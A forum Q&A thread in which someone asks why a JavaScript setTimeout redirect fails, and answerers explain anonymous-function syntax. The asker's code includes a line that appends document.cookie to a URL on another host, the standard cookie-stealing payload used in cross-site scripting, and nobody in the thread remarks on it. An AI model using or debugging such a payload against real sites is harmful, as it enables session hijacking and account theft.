Settimeout issue in javascript

I am trying to get the following to code work. But it just wont :(.

I have tested the timeout on its own and it works fine (Code line 2), but the first line wont work :(, any guidance would be appreciated.

document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500);

setTimeout(document.location='http://site/site/newpage',500);

I am testing this inside firebug console (by the way)

Changing document.location will immediately navigate you to another page.

setTimeout expects either a string to construct with new Function("string") (not recommended), a function pointer (recommended), or an anonymous function (recommended).

You can send an anonymous function like this:

setTimeout(function(){document.location='http://site/site/newpage'},500);

Encapsulate it in an anonymous function.

setTimeout(function() { document.location.href ='http://etc/etc/';},500);

(don't forget the href, or use window.location maybe)
